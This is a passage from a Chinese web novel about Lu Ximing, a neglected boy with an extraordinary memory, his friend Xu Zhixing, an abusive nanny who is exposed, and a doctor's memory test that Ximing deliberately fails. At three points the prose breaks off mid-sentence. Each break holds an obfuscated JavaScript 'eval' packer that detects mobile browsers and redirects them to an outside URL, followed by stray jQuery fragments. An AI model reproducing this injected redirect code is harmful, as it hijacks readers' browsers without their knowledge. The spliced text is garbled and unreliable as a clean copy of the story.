路西鸣心满意足地点点头,说:“你刚才数到三了。” “哦,三个,四个,五个。”徐知星继续埋头数饼干。 路西鸣站在旁边,听见一阵熟悉的高跟鞋踩地的声音,回头就看见一位模样干练,傲气漂亮的女人。 “路西鸣,你出来。” 梁卓站在病床门口朝着路西鸣命令道。 徐知星也被这一声吓住了,紧张地看向林芳,“妈妈……” “没事,这是梁卓阿姨,路西鸣的妈妈。”林芳向徐知星解释说,同时对着梁卓道:“你对孩子别那么凶。” 路西鸣放下手上的饼干,低垂着头朝自己的妈妈走进,迎接自己的审判。 走廊上,梁卓居高临下地看着路西鸣质问说:“为什么不和任何人说私自来医院?” “为什么要惹徐知星犯哮喘?” “为什么要抢别人小孩的东西?” 最后一个问题是刚才梁卓来医院时,正巧碰到了要离开的江琴,江琴添油加醋地描述着刚才的情节。 针对妈妈接二连三的问题,路西鸣一个问题都没有回答,一句话都没有说。 在和父母的相处中,路西鸣最先学会的解决方式就是沉默。 沉默地面对父母的争吵,沉默地面对父母的离婚,沉默地和父母相处。 梁卓身后还站着一同赶来的保姆刘菊。 保姆见状开始吐槽道:“老板啊,你家小孩真的很难带。” “这一言不合就乱跑,我这稍不注意人就没影了,我就算长了八只眼睛我也看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761663|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来啊。” 梁卓一个眼刀,声音带着几分讥讽,“我请你来当保姆,是让你来看小孩的,不是为了听你来找我抱怨的。” 保姆顿时不敢说话,此时林芳也走出来说:“刚才上来不还说好的吗?好好跟孩子说,你这么凶干嘛?” “行,我好好说,路西鸣你给你爸打电话,让你爸来管你。”梁卓拿起手机,拨通路建峰的电话,塞到路西鸣手里。 “你自己跟你爸说。” 路西鸣不知所措地握着手机,直到听见听筒那边传来不耐烦的声音,“梁卓,你又有什么事?” “你跟你爸说。”梁卓再次命令道。 林芳在一旁直叹气,懊悔道:“早知道就不给你打电话了,孩子小也不懂这些,他能说什么?” “路西鸣,你说话。” 路西鸣抬眼看着自己冷漠的妈妈,幸灾乐祸的保姆,以及在一边担忧但却不好插手的林芳阿姨,听筒里时不时传来爸爸带着怨气的声音。 “路西鸣,你到底又干什么了?你能不能让我省点心。” 路西鸣在这一瞬间认同了江琴的话,他确实没有教养。 没有一个人教过他应该怎么去和别人相处,怎么去当一个听话的乖小孩。他只会给别人添麻烦。 就在所有人都陷入沉默时,徐知星伸手拿过路西鸣的电话,对着听筒认真道:“叔叔,我是徐知星,你不要凶路西鸣,他只是来医院看我了,他没有闯祸,也没有惹麻烦。” 路建峰沉默片刻,反问说:“徐知星?你爸是徐明军?” “对啊,你认识我爸爸吗?” “嗯,我和你爸是中学同学。” “哦,那你不要和路西鸣生气好不好啊?”徐知星对着听筒央求道,他刚才清楚听到了梁卓咄咄逼人的质问,也看到了路西鸣的无措。 他一个人站在大人面前,孤单又无助。 他们都在欺负路西鸣,不可以欺负路西鸣。 尽管徐知星心里已经害怕的快要哭了,可他看见路西鸣一个人站在那里,他还是战胜恐惧,走到了路西鸣旁边。 路建峰生意场上摸爬滚打多年,心里再对路西鸣生气不耐烦,也不会对同学的儿子发脾气,用着和刚才截然不同的语调轻声说:“叔叔没有和路西鸣生气。” “真的吗?”徐知星半信半疑地问。 “真的,知星你把电话给梁卓阿姨,我有话跟她说。”徐知星迅速把手机递给了梁卓,“阿姨,叔叔找你。” 梁卓接过电话,朝远处走去,不知道在和路建峰说些什么。 徐知星则在一旁安慰路西鸣,“你不要怕,我保护你。” 路西鸣睫毛轻颤,垂在身侧的手缓缓抬起,紧紧牵住徐知星的手。 林芳手搭在两个小孩肩头,“好了好了,快进去吧。” 徐知星握住路西鸣的手,突然想起来什么,“不行,我还要去找梁阿姨。” “为什么啊?” 徐知星圆溜溜的眼珠转了转,谨慎地说:“现在不能说,等会要和梁卓阿姨一起说。” 梁卓和路建峰打完电话后,眉梢还带着怒气,此刻看见徐知星还站在原地,一本正经道:“阿姨,我有很重要的事情要和你说。” 11. 妈妈 梁卓见徐知星人小鬼大的模样,板着脸还要和自己说很重要的事情,不由得失笑。 “你要和我说什么啊?” 徐知星有点紧张,圆溜溜的眼睛往梁卓身后看了看,牵着路西鸣的手都有些出汗,一旁的林芳也好奇问:“星星,要和梁阿姨说什么事情啊?” 徐知星举起另一只手指向身后的刘保姆大声说:“她是坏人,她一直欺负路西鸣,不给路西鸣饭吃,还掐路西鸣。” 徐知星声音不小,走廊上时不时有病人经过,好奇地看着眼前这一幕。 保姆顿时急了,连忙打断说:“你这小孩胡说什么呢?” “我才没有胡说,你就是欺负路西鸣,我看见了的,你掐他胳膊,胳膊都青了。”徐知星说的有理有据,甚至还把路西鸣的一只袖子撸起,把还未完全消净的淤青指给梁卓看。 保姆哭天喊地道:“我真是冤枉啊,小孩磕了碰了,还说是我动手的,这一家子合起来欺负我一个打工的老婆子。” 很多围观的群众越来越多,梁卓脸上的面子挂不住,拽着路西鸣到走廊尽头,断了别人看热闹的心思。 林芳担心她脾气上来了,在医院打孩子,连忙追上去,“卓儿,你有话好好说。” 徐知星也被这架势吓到了,在原地短暂地懵了下,很快就反应过来,去追路西鸣。 一直到无人在意的角落,梁卓才松开手。 保姆早就习惯了路西鸣父母的不管不顾,此刻变得趾高气扬,在一旁添油加醋说:“你家小孩嘴里没一句实话,谁看见我对他动手了,骗小朋友,还骗大人。你家的钱我真是难挣。” 梁卓回头瞪了保姆一眼,保姆瞬时不敢说话,只是眼神依然轻蔑地看向路西鸣,内心笃定自己这次也能平安无事。 路西鸣被拽到墙角处,眉头都没皱一下,看着梁卓脸上恼羞成怒的表情,以及被人看热闹的窘迫,内心不由得升起一股快感。 父母最怕丢人,可偏偏他就要让他们丢人。 只是这份快意还没持续一瞬,他就看到了小跑着赶来的徐知星,垂下眼眸光黯淡,不知所措。 他事先并不徐知星会突然在梁卓面前替他仗义执言,如果知道,他一定不会让徐知星说的。 他不想连累徐知星。此刻心里布满了担忧,担忧梁卓将怒火蔓延至徐知星身上。 梁卓垂眸看向自己的亲儿子,眼中并无太多温情,路西鸣也毫无惧意,微微仰起头,那双和梁卓几乎一模一样的眼睛,此刻也流露着如出一辙的目光。 两双相似的眼睛沉默地对峙,却看不到一丝母子情分。 路西鸣有时候也会想,到底为什么父母这么讨厌自己? 他想不通。 但也明白一个道理,不是所有的父母天然会爱自己的子女。 母子俩都没有说话,徐知星却从一旁跑出来,护在了路西鸣面前,“阿姨,你不要和路西鸣生气。” “我没有生气,我很冷静。”梁卓留了一头干净利落的短发,从她的表情中看不出喜怒,徐知星其实怕梁卓,但又不想丢下路西鸣一个人。 “过来,星星。”林芳不想牵扯别人的家事,可是徐知星却没有离开,只是又鼓起勇气重复了一遍,“阿姨,那个保姆是坏人,她对路西鸣一点都不好,我没有撒谎。” “我从来都不撒谎的。” 按照从前,路西鸣会一直保持沉默,可是此刻看着徐知星努力为自己解释的样子,不由得开口说:“上个月十五号,你回家发现自己丢了一枚镯子。你和我爸吵架,说是他把镯子拿走了。但其实不是,是保姆拿走了。” 当时路西鸣就知道这是爸妈之间的误会,可是他不想解释,但在这一瞬间,他很想证明徐知星说的话是真的。 路西鸣父母对金钱和利益的执着更大于他这个亲生儿子,相比于他受到保姆欺负这件事,他觉得保姆贪财偷钱更能引起父母的注意。 “一天前,我的午饭是一盘生菜,但报给你的菜单是一捆生菜,一条鱼,一个烧鸡,两块蜂蜜蛋糕。” “烧鸡,鱼和蜂蜜蛋糕被她带走了,但是她打电话跟你说买菜钱不够了,因为给我买了海鲜。” “两天前,我的菜是胡萝卜炒肉,她买了两根胡萝卜,一块猪肉,一只烧鸭,烧鸭也被她送给孙子了。” “三天前……” 路西鸣开始复述保姆做的每一顿菜,清楚地记得花在他身上的每一笔。 保姆不可思议地睁开眼,没想到自己做的那些事情,路西鸣都知道,甚至每天买的菜都会被路西鸣全部记住。 不止保姆感到惊讶,就连一旁的林芳也感到心惊,这么小的孩子能记住这么多的事情。 梁卓深呼吸几下,转头说:“钥匙还我。” 保姆还想解释些什么,梁卓直截了当道:“滚,会有警察去找你的。” 徐知星只能看到保姆灰溜溜地离开,一把抱住路西鸣开心说:“好耶,我们赶跑坏人了。” 路西鸣紧绷的嘴角也扬起一丝笑意,“嗯,赶走了。” 相比于赶走保姆这件事本身,赶走保姆让徐知星开心这件事让他更为开心。 梁卓此刻打量着抱在一起的两个小孩,“你们先回去吧,我还有点事要和徐知星妈妈说。” 徐知星连忙点头,一双明亮的眼睛露出感激的光芒:“谢谢阿姨。” 说完就拉着路西鸣一蹦一跳地回到病房。 路西鸣被徐知星牵着手离开,在进病房前回头看了眼梁卓和林芳。 梁卓见两个孩子都走了,坐在医院的长椅上对着林芳道:“芳姐,坐吧。” 林芳坐在一边,目光停在梁卓身上,不免开口嗔怪地说:“你这天天都在忙什么呢?孩子都不管。” 梁卓叹了口气,嘴角带着无奈的笑意,“不忙着赚钱嘛?养小孩不要钱,请保姆不要钱。” “也没说你不该赚钱,只是你和路西鸣他爸,总得有个人抽出时间带孩子吧,把孩子丢给保姆,一个外人,孩子受欺负了你都不知道。”林芳也是当妈的,看到路西鸣手臂上的淤青,再想到和他年岁差不多的徐知星,心中不免心疼一番。 “你说得对芳姐,是不能把孩子交给一个不认识的保姆带。” 林芳还没意识到梁卓话里有话,点头附和说:“是啊,还是得带在……”自己身边。 自己身边这四个字还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761664|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说完,梁卓就打断道:“对了,我这拿的急,一下子也没给孩子买什么,这星星哮喘得好好治。” 说话间,梁卓从包里拿出一沓钱,“芳姐,这钱你拿着,给孩子的。” 林芳看见那沓红色钞票吓了一跳,连忙推回去,“你干嘛呢,这么多钱你自己收着。” “芳姐。”梁卓又喊了一声,按住林芳的手不让她退回去,“又不是给你的,给孩子的。你看星星这么小,又得了哮喘,往后花钱的地方多了去了,你别跟我客气了,从前在厂里,那个猪头总是想占我便宜,多亏你每次把他骂回去,论远的论近的,这钱都一定要收好。” 林芳正在努力推辞,倒不是她假客气,主要是那一沓钱真的太多了,一两百她就收下了,这沓钱比指甲盖还要厚,她怎么好意思拿着。 “别闹,快收回去。” 梁卓攥着林芳的手,将那沓钱压在她手心,“芳姐,这钱你拿着吧,我有个事求你。” 林芳抬眼看向梁卓,他们俩是同一年进的厂子,当时都还是小姑娘般的年纪,分到一个组,又是一间寝室,转眼认识都快十年了,就连路西鸣出生都只比徐知星晚三天。 只一个眼神她就明白梁卓的意思了。 “西鸣这孩子我真的没有时间带,芳姐。”梁卓将钱又望林芳怀里塞了塞。 “一个羊也是放,两个羊也是带。”梁卓继续劝说道:“就算你不看在我的面子上,也看在孩子的份上,星星和西鸣这两孩子这么好,你今天也看到西鸣胳膊上的伤了,再找个保姆我不放心,我不信芳姐你也放心。你最喜欢小孩了,你还记得我们当年在寝室晚上聊天时说过的吗?如果我们俩刚好生的是一儿一女,就让他们结娃娃亲对不对?” 林芳神情有些许动摇,想起从前的夜话笑道:“这都多少年前的事了,再说了,两个都是儿子,也别想这茬了。” 梁卓再接再厉说:“芳姐,我很少求人,你知道的。我真是没有时间带西鸣,我天天忙得饭都没时间吃,你今天给我打电话过来后,我特意从外地赶回来的,一天都没吃饭了,我美容院又要开分店了,到时候你来给我捧场啊。” “捧场是捧场的事情。” “只是西鸣……” 梁卓起身说:“这样吧芳姐,你先帮我带着,我有合适的保姆我再接回去行不?这钱你就先拿着,我回头和西鸣他爸说下,以后给保姆的钱直接寄给你。不够再跟我说。” “我这真的太忙了芳姐,你瞧我电话一直响。”梁卓手机从刚才就一直响个不停,“我回头再和你说,这段时间你先帮我带带啊。” “多谢芳姐。” 林芳握着那一沓红色的钞票,无声的叹气。 梁卓确实没说错,徐知星得了哮喘,这不是一时半会能治好的病,以后用钱的地方多了去了,她厂里又两个月没发工资了,这笔钱确实解了她的燃眉之急。 林芳收好钱安慰自己,“一个娃也是带,两个娃也是养。” 相比较林芳的忐忑,徐知星听到这个消息后简直欢呼雀跃,抱着路西鸣蹦蹦跳跳个不停。 “路西鸣,我们以后要一起生活了!” “你高不高兴?” 12. 超忆症 路西鸣在听到这个消息时懵了下,还不敢相信是真的,不确定地试探说:“真的吗?” “是啊,不过你妈也说等找到保姆后再把你接走,这段时间小路同学就要和星星一起住了。” 路西鸣以为以后都可以和徐知星生活在一起了,没想到只是短暂的,可尽管只是短暂的,他也感到开心。 “你高不高兴啊路西鸣?”徐知星过于激动的声音在耳边响起。 “高兴高兴。”路西鸣连忙回答。 两个孩子的喜悦一直持续到徐明军下班后来到医院。 “以后西鸣和我们一起生活了?” 徐明军脸上露出诧异,林芳应了一声,低头对着路西鸣和徐知星嘱咐道:“我去食堂打饭,你们两想吃什么啊?” “我想吃鸡腿,大鸡腿,我要吃两个!”徐知星立刻回答说。 “西鸣呢?” “我也一样。” “行,我去给你们买鸡腿回来,你们在这乖乖的。” 林芳朝病房外走出去,招手示意徐明军也跟他一起出来。 “我就不去了,我在这看着他俩,免得乱跑。” 林芳嗯了下,打开自己手提包露出里面那一沓红色钞票。 徐明军连忙合拢包,左右张望道:“你抢银行了?” “我抢你家银行了?” 林芳伸手锤了徐明军胸口一下。 “那你哪来的这么多钱?” “路西鸣妈妈给的。”林芳收好手提包,将上午的事重复了一遍,“梁卓说这个钱一来是给星星的,她说毕竟星星这次哮喘犯了,西鸣也有责任。二来就是给的看孩子钱了。” 徐明军眉头越发凝重,林芳拍了拍他的胳膊说:“想什么呢?” “我是觉得路西鸣这孩子吧……”徐明军欲言又止,回头看了眼在病房里凑在一起玩耍的两个小孩,解释说:“路西鸣这孩子,心眼太多了。” “你看他记性这么好,保姆每天买菜买什么,打电话说什么他都记得一清二楚,万一他觉得我们家对他不好,又或者星星那天不小心惹了他,一看他都一笔笔记着呢。” 徐明军语重心长地和妻子分析,“别人家小孩不是那么好带的。” 林芳也被这一番话说得紧张,“ 那咋办,我钱都收了。” “家里现在正用钱的时候,厂里两个月都没发工资了,你工地里老板上个项目的钱都还没结。我今天还问医生了,人家说星星现在还小,不能耽误,现在用的都是好药,一瓶好几百,贵着呢。”林芳算了算家里账,徐明军头垂得也越来越低。 林芳安慰说:“先带着吧,我林芳做事又无愧于心,我怎么对星星,我就对路西鸣,一视同仁,我也不苛待他,他记性再好,也挑不出我的理。” 徐明军自觉亏欠老婆和孩子,此刻也默认了林芳的做法。 徐知星还不懂得父母和家庭的艰辛,躺在病床上,还在惊叹路西鸣的好记性。 “你真的什么都能记住吗?路西鸣。” 路西鸣想了下,“看到的都能记住。” 徐知星发出惊叹,“你好聪明啊。” “那你能记住动物园里有多少个动物吗?”徐知星异想天开地问道。 路西鸣用手戳了戳徐知星脸说:“不能。” “为什么呀?”徐知星嘴巴微张,遗憾地问。 “因为我没去过动物园。” “哦,那下次我们一起去。”徐知星又想了下,“那你能记住什么?” “嗯……”路西鸣沉思片刻说:“我能记住你喊了我多少次。” “多少次啊?”徐知星来了兴趣,着急的问。 “你今天一共喊了我三十二次,从认识到现在,一共六百七十二次。” “这么多吗?” “那你今天喊了我多少次啊?” “一次。” 徐知星追问说:“你为什么不喊我啊?” “我喊你这么多次,你只喊我一次。” 路西鸣也想了下这个问题,每次都是徐知星喊他的名字次数更多,他很少喊徐知星。 “那我以后也喊你。” “你喊我什么啊?” “徐知星。” “那你为什么不喊我星星?” “爸爸妈妈还有姥姥姥爷都喊我星星,小姨也喊我星星。” 路西鸣眨了眨眼睛,随后说:“那我以后也喊你星星。” “好。那为什么刚才妈妈喊你小路啊?”徐知星有问不完的问题。 路西鸣摇摇头,“不知道。” “因为路西鸣他爸是老路,所以他是小路。”徐明军刚进来就听到两小孩在说话。 徐知星举一反三说:“那我是小徐,你是老徐对吗?老徐。” 徐明军拍了拍徐知星屁股,“没大没小。” “老徐老徐!” 徐知星像是找到了什么好玩的东西一样,喊个不停,期间还要问路西鸣,他喊了几次老徐。 “十二次。”路西鸣每次都能清楚记得。 徐明军听到这个回答,目光带着几分担忧,摸了摸路西鸣的脑袋,“怎么什么都记得呢?” 路西鸣虽不懂徐明军的担忧,但是敏锐地察觉到他这种好记性可能不一定是好事。 因为徐知星和路西鸣说话时就在病房内,很快病房内其他人也都知道了这有个记忆超级好的“神童”,时不时把他喊过去说话,就连医生护士也注意到了这一点。 就在徐知星出院前一天,一位穿着白大褂的主任找到了路西鸣。 “小朋友,叔叔找你有点事情。” 路西鸣当时正在和徐知星玩从家里带来的小黄鸭玩具,在被护士和徐明军夫妻带到办公室,警惕地张望着四周,尤其是看见陌生人和自己说话时朝后躲了躲,眼神中带着不安。 “你别怕,我是这的医生,你可以叫我邱医生。” 路西鸣不说话,安静地看着面前的这位医生。 沉默是他面对未知情况的唯一方式。 徐知星手上握着小黄鸭对着邱医生道:“邱医生,你要玩鸭鸭吗?” 邱医生摆摆手,对着徐知星说:“星星,你去旁边玩好不好?叔叔叔要和路西鸣说一点事情。” “什么事情啊?我为什么要去旁边?”徐知星不愿意,林芳则哄道:“医生找路西鸣单独有事情,我们乖乖的,在旁边安静地等一会好不好?” “好吧。”徐知星把小黄鸭交到路西鸣手上,“路西鸣,有小黄鸭保护你,你别怕。”说完走到一边,“我在旁边等你哦。” 路西鸣手上紧紧握着那只小黄鸭,只见邱医生从抽屉里拿出一沓不同颜色的卡片,指了指其中一张对着路西鸣说:“西鸣,这是什么颜色?” 路西鸣不回答。 邱医生则继续温声细语说:“别怕,西鸣。” “要吃糖吗?叔叔这里有很多糖,你回答一个问题,叔叔就给你一个糖。” 路西鸣依然不为所动,林芳和徐明军解释说:“这孩子话少。” 徐知星则眼巴巴地看着邱医生手中花花绿绿的糖果,邱医生想了下说:“西鸣,如果你回答一个问题,叔叔就给你和星星一人一颗糖好不好?” 路西鸣看向徐知星期待的眼光,点头道:“现在是第一颗。” 邱医生没想到路西鸣现在就开始算了,嘴角带着无奈的笑,给了路西鸣和徐知星一人一颗糖。 “好了,从现在开始,叔叔问你问题,你就要认真回答哦,答对有奖励。” 邱医生顿了顿,补充说:“你和星星都有奖励。” 路西鸣:“第二颗。” “这个不算。”邱医生觉得路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761665|145566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西鸣这脑瓜子确实比别的小孩反应更快一些。 路西鸣不说话了。 邱医生揉了揉额头,“好吧,叔叔再给你们一颗。” 就在路西鸣准备再开口时,邱医生再次打断说:“这个不算问题,你不需要回答,叔叔让你回答的时候你再回答。” 路西鸣刚张开的嘴又闭上了。 邱医生指了指其中的一张红色的卡片问:“西鸣,认得这是什么颜色吗?” 路西鸣:“认得,第三颗。” 邱医生:“……” “什么颜色呢?” “红色,第四颗。” 徐知星在一旁哇了一声,“有四颗糖啦,我和路西鸣一共就是八颗。” 邱医生示意徐知星安静一下,继续说:“西鸣,现在叔叔这里有一堆卡片,等会会依次展示给你看,你要认真看哦。” 路西鸣刚想说话,邱医生连忙道:“这个你就不用回答了,我们开始吧。” 路西鸣看着邱医生手中展示的卡片,依次展示的顺序分别是:绿黄红蓝红白绿蓝红白红。 “好了,西鸣,你现在能告诉叔叔,刚才红色卡片出现了几次吗?” 路西鸣手指捏着小黄鸭的身体,眼睛盯着邱医生和蔼专业的面容, “不着急,你慢慢想。” “想好了告诉叔叔,答对有糖果哦。” 路西鸣那双棕褐色的眼睛看向一旁等待的徐知星,垂下眼说:“四次,第五颗糖。” 邱医生眼神中带着几分探究和惊喜,“好,那叔叔再问你下一个问题。” “这张卡片颜色你刚才见过吗?”邱医生举起一张白色卡片。 “见过,第六颗糖。” “那这张卡片出现过几次?” 绿黄红蓝红白绿蓝红白红。 一共两次。 路西鸣低垂着眼捏了捏手中的小黄鸭,犹豫几秒说:“一次,第七颗糖。” “嗯?”邱医生又指了指白色卡片问:“西鸣,你好好看看,是白色的这张,你好好想想不要急。” 路西鸣仰起头,眸光单纯,不似作伪,又重复了一遍:“一次,第八颗糖。” “好吧。”邱医生又举起一张黄色卡片问,“你记得这张黄色出现了几次吗?” 绿黄红蓝红白绿蓝红白红,一次。 路西鸣回答说:“不记得了,第九颗糖了。” 邱医生眼神失望逐级积攒,后面又问了一些问题,路西鸣有的记得,有的不记得,甚至开始连数糖的次数都数岔了,第十三颗糖说了两次,至于顺序更是颠倒,第十五颗糖后面居然接的是第十七颗糖,邱医生注意到这一点更加失望了。 最后等路西鸣和徐知星走出诊室后才对徐明军和林芳说:“这孩子确实比平常孩子聪明一点,但是也不至于到过目不忘的程度,放心吧,就正常小孩,你们做大人的,担心可以理解,但是不用太夸张了。” 路西鸣和徐知星在走廊处,手上提着满满一口袋的糖果,“好多糖啊,路西鸣。” “嗯,一共五十颗。”他总共回答了二十五个问题,他记得很清楚,一个不少。 “我们能吃好久啊。”徐知星小心翼翼地护着手上的糖果,好奇地问:“路西鸣,为什么你回答一个问题,邱医生会给你一颗糖啊?” “因为他在耍猴。” “什么猴?没有猴啊?” “我就是猴。” “你不是猴,你是路西鸣。”徐知星剥开一颗大白兔奶糖塞到路西鸣嘴里。 “我对他们来说就是猴。” 路西鸣讨厌别人看向他时好奇探究的眼神,仿佛在大街上看耍猴,用糖果试探他的好记性,和耍猴人把香蕉丢给猴子,奖励他做出各种表演一样。 徐知星听不懂,只好又重复一遍:“你是路西鸣,你不是猴。” 13. 回家 经过邱医生一番结论后,徐明军勉强放心了,只是心中依然有些许芥蒂。不过毕竟是别人寄养在家里的孩子,虽然大人心里对于路西鸣的好记性有些奇怪,但衣食住行上还是一碗水端平,物质上给徐知星什么,给路西鸣的也是什么。 相比于从前和保姆住在一起的生活,路西鸣至少吃穿不愁,还能每天和徐知星在一起玩。 在出院前一天,邱医生又找了一次林芳和徐明军,想要再测试一下路西鸣的记忆,被两口子礼貌回绝了。 徐明军起初是想配合的,但林芳觉得他大惊小怪, “之前不是给他检查过吗?检查结果都说他身体没问题,人家孩子能吃能玩的,你们非要一天天的折腾孩子。”林芳觉得徐明军在大惊小怪,路西鸣这孩子就是记性好点,那也不能说人家有病啊。 一想到要出院,徐知星就仿佛要飞出笼子的小鸟,早早就把东西收拾好了,急切地等待着父母,可他们还不知道在走廊说些什么,于是跑过去催促说:“你们在说什么啊,快点啊,回家啦!” 徐明军低头看向焦急的徐知星,以及旁边沉默的路西鸣,也不好再说什么,带着两个孩子办了出院就回家了。 徐明军还没买汽车,平常出门就是骑着一辆铃木的红色摩托车,如今家里多了个孩子,摩托车坐不了,这次找亲戚借了辆车,他开车,林芳和两个孩子坐在后排。 刚上车没多久,徐明军的手机就响了。 “老婆,你接下电话。” 林芳正在后排和徐知星路西鸣玩玩具车,接过手机看了眼说:“是邱医生。” 林芳犹豫了下,“怎么说啊?” “就说我们出院了啊。” 徐知星还在握着一个玩具火车在空中跑来跑去,路西鸣听见邱医生三个字,不由得变得警惕,手中的玩具消防车也顿时没有意思了。 “喂,邱医生。”林芳示意徐知星安静下,接通了电话。 “对,我们已经出院了。” “西鸣在我旁边,他没什么事。” “星星也没事,我过段时间再带他来医院复查。” “行,邱医生拜拜。” 刚挂掉电话,徐知星就立刻问道:“说什么了啊?你们说什么了啊?” “没说什么,邱医生关心下你和西鸣。我们回家吧。”路西鸣闻言微不可察地松了一口气。 刚打开家门,徐知星就像风一样跑进客厅坐在沙发上,“好累哦。” 徐明军短暂的无语,“你累什么累?” “天天就知道玩。” “我玩累啦!”徐知星一张嘴有说不完的话,全天下就他最能说。 林芳倒了杯水递给路西鸣,“西鸣,等会阿姨和叔叔去你家里,把你要用的东西搬过来,以后就住在这边了。” “好呀,我也要去。”刚刚还喊累的徐知星,此刻又蹦起来,“那我们快去吧!” “让你爸妈歇会。”徐明军打开风扇擦了擦额头上的汗,“你爸才是真累,不知道你累什么。” 徐知星说:“大人有大人的累,小孩有小孩的累啊。” “是是是,你也累,我们也累。” 徐知星抱着水杯猛灌了一大口,林芳在旁边说:“你慢点喝,你以后吃东西都要和路西鸣学一学,细嚼慢咽知道吗?” “不知道!” “我就是不知道!” 徐明军暗自叹口气,“得亏路西鸣是个安静的,不然这家里还要吵翻天的。” 徐知星又屁颠屁颠地跑到路西鸣身边问:“以后路西鸣就住在我们家了吗?” “对。”林芳手上忙着收拾从医院带回来的衣物,都要重新洗一遍,徐知星哮喘诱因很多,家里要时刻保持干净整洁。 徐知星小跑进自己的房间,拿出自己存钱罐,举起递给林芳说:“那用这个钱养路西鸣吧!” 徐知星不知道路西鸣住在他家,梁卓已经给过钱了,所以决定把自己的钱都拿出来给妈妈。 他之前承诺过的,要自己养路西鸣。 林芳愣了下,接过小猪存钱罐说:“那星星以后的压岁钱都给妈妈,妈妈用来养路西鸣了吗?” 路西鸣眼睛看向徐知星,眸光微动。 “对啊,要养路西鸣。” “可是这些钱不够养路西鸣怎么办?” 徐知星苦恼地挠了挠头,“以后的压岁钱零花钱都不要了,都用来养路西鸣。” “哇,星星这么大方吗?” “对啊。” “为什么要养路西鸣呢?”林芳接着问。 “因为路西鸣是我最好的朋友!”徐知星几乎是喊出这句话的,说完还抱着路西鸣,追问说:“路西鸣,我是不是你最好的朋友?” “是。”路西鸣认真回复说。 “那我们永远都要是好朋友。”徐知星抱着路西鸣不撒手,两人倒在海绵垫上一起玩玩具。 林芳想起上次和梁卓说的话,对着徐明军打趣说:“我之前和梁卓在寝室的时候还说,以后要是生了一男一女,就让两个小孩娃娃亲。” 徐明军擦着脸上的汗,“可惜了,两个男孩。” “星星,你没老婆了。” 徐知星哪懂这些,躺在海绵垫上和路西鸣玩闹,听到爸爸的话回答说:“我不要老婆,我只要路西鸣。” 徐知星不仅自己不要,他还撺掇路西鸣,“路西鸣,你以后也别要老婆。” “为什么?” “因为我的钱只够养你,不够养你老婆。”徐知星掰着手指头说,“我养你已经要把所有的压岁钱和零花钱都交上去了,我没有钱养你老婆了。” 路西鸣想了下答应说:“那我也不要老婆了。” “路西鸣你真好。” 林芳被两小孩童言无忌的话逗笑了,连肚子都在疼。 一家四口歇了会,就去把路西鸣的东西从他家搬了出来,他东西本来就不多,此刻都放在了徐知星房间。 简单吃了顿饭后,徐明军下午还要继续去工地,林芳倒不用去厂里了,前些日子因为徐知星请假,厂里那个老组长还不准她的假,林芳本就因为徐知星的事着急上火。 这老组长简直撞枪口上了,林芳和他大吵一架,加上厂里前两个月工资都没发,她直接找主任请了个长假,反正去了也不发工资,想着日后找点别的事情干。 “你俩在床上乖乖睡午觉,不许玩了。”林芳把风扇打开,给路西鸣和徐知星肚子上各自搭了块小毯子,便关上门离开了。 小孩子用不完的精力,睡午觉于他们而言就是惩罚。 尤其是徐知星如此好动的小孩,等妈妈走后就悄悄睁开眼,“路西鸣,你睡了吗?” “没有。” 路西鸣鼻子嗅着枕头上的气味,林芳把家里收拾得干干净净,连徐知星的床上都香香的。 “我睡不着。”徐知星掀开身上的毯子,从床上站起,“我想吃糖。” “你吃不吃啊?” “哪里的糖?” “从医院 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徐知星对这样的游戏乐此不疲,每天都要问路西鸣好多次,路西鸣每次也特别有耐心的回答。 一问一答,是他们俩之间最常见的游戏。 徐知星嘴里回味着大白兔奶糖甜甜的滋味,还不忘夸赞说:“邱医生真是大好人,给了我们这么多糖。” “我不喜欢邱医生。”路西鸣直截了当地说。 “为什么?” 路西鸣很难去形容每次邱医生看他的眼神,像是看到一个很稀奇的玩具一样,在邱医生面前,他像是个待宰的小鸡,毫无还手之力。 “那我也不喜欢邱医生了。”徐知星把剩下的糖都扔到垃圾桶里,路西鸣不喜欢的他也不喜欢了。 路西鸣心底一阵感动,毕竟对于徐知星而言,大白兔奶糖诱惑力还是非常大的。 他压低声音说:“星星,其实所有的事情我都记得,那天邱医生问的所有问题我都记得答案,我是故意说错的。” “为什么啊?”徐知星懵了下,不理解地问。 “我也不知道。”或许是天然趋利避害的本能,所以路西鸣选择回答错剩下的几个问题。 “可是撒谎不好。”徐知星苦恼说,“妈妈说过不能撒谎的。” 路西鸣皱了皱眉,手上抱着毯子说:“可是他把我当猴。” “那他是坏人。”徐知星脑瓜转了转,“我们要消灭坏人,所以对坏人做坏事也没有关系。” 